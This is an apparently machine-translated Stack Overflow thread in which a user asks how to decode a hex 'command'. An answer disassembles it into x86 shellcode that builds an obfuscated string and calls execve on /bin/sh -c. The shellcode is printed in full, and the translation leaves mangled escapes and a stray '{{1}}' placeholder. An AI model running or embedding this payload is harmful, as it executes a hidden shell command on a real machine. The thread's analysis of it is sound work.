我注意到一个十六进制字符形式的命令,它说这是一个命令的十六进制版本(Linux),这实际上是十六进制版本的意思,我怎样才能将它转换为人类可读的形式。 截至目前我知道:
命令列在下面......
“\ XEB \ x3e \ x5b \ X31 \ XC0 \ X50 \ X54 \ X5A \ X83 \ XEC \ 64 \ X68” “\ XFF \ XFF \ XFF \ XFF \ X68 \ XDF \ XD0 \ XDF \ xd9 \ X68 \ x8d \ X99” “\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ X54 \ x5e \ XF7 \ X16 \ XF7” “\ X56 \ X04 \ XF7 \ X56 \ X08 \ XF7 \ X56 \ X0C \ X83 \ XC4 \ X74 \ X56” “\ x8d \ X73 \ X08 \ X56 \ X53 \ X54 \ X59 \ XB0 \ X0B \ XCD \ X80 \ X31” “\ XC0 \ X40 \ XEB \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ X2F \ X62 \ X69” “\ x6e \ X2F \ X73 \ X68 \ X00 \ X2D \ X63 \ X00”
但是如何将其转换为英文原版命令,如“XXXXXXXX”。
答案 0 :(得分:3)
我使用了这个二进制文件并通过hexdump -vC
和objdump
运行了
$ objdump -b binary -m i386 -D output
output: file format binary
Disassembly of section .data:
00000000 <.data>:
0: eb 3e jmp 0x40
2: 5b pop %ebx
3: 31 c0 xor %eax,%eax
5: 50 push %eax
6: 54 push %esp
7: 5a pop %edx
8: 83 ec 64 sub $0x64,%esp
b: 68 ff ff ff ff push $0xffffffff
10: 68 df d0 df d9 push $0xd9dfd0df
15: 68 8d 99 df 81 push $0x81df998d
1a: 68 8d 92 df d2 push $0xd2df928d
1f: 54 push %esp
20: 5e pop %esi
21: f7 16 notl (%esi)
23: f7 56 04 notl 0x4(%esi)
26: f7 56 08 notl 0x8(%esi)
29: f7 56 0c notl 0xc(%esi)
2c: 83 c4 74 add $0x74,%esp
2f: 56 push %esi
30: 8d 73 08 lea 0x8(%ebx),%esi
33: 56 push %esi
34: 53 push %ebx
35: 54 push %esp
36: 59 pop %ecx
37: b0 0b mov $0xb,%al
39: cd 80 int $0x80
3b: 31 c0 xor %eax,%eax
3d: 40 inc %eax
3e: eb f9 jmp 0x39
40: e8 bd ff ff ff call 0x2
45: 2f das
46: 62 69 6e bound %ebp,0x6e(%ecx)
49: 2f das
4a: 73 68 jae 0xb4
4c: 00 .byte 0x0
4d: 2d .byte 0x2d
4e: 63 00 arpl %ax,(%eax)
...
$ hexdump -vC output
00000000 eb 3e 5b 31 c0 50 54 5a 83 ec 64 68 ff ff ff ff |.>[1.PTZ..dh....|
00000010 68 df d0 df d9 68 8d 99 df 81 68 8d 92 df d2 54 |h....h....h....T|
00000020 5e f7 16 f7 56 04 f7 56 08 f7 56 0c 83 c4 74 56 |^...V..V..V...tV|
00000030 8d 73 08 56 53 54 59 b0 0b cd 80 31 c0 40 eb f9 |.s.VSTY....1.@..|
00000040 e8 bd ff ff ff 2f 62 69 6e 2f 73 68 00 2d 63 00 |...../bin/sh.-c.|
00000050 00 |.|
00000051
它确实看起来像某种程序。首先,它跳转到偏移0x40
然后使用call 0x2
来设置堆栈;然后是一堆操作,包括系统调用。程序数据似乎从偏移0x45
开始,包含字符串"/bin/sh -c"
。
有问题的系统调用是#11(mov $0xb,%al
),根据this table,sys_execve
为{{1}}。我猜它正试图运行一个shell。此代码是否旨在利用缓冲区溢出?